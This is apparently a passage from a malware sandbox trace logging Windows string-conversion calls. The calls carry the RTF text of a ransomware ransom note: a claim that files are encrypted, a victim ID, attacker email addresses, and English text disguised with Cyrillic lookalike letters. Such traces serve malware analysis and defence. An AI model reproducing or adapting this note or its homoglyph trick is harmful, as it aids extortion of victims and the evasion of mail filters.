\\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir 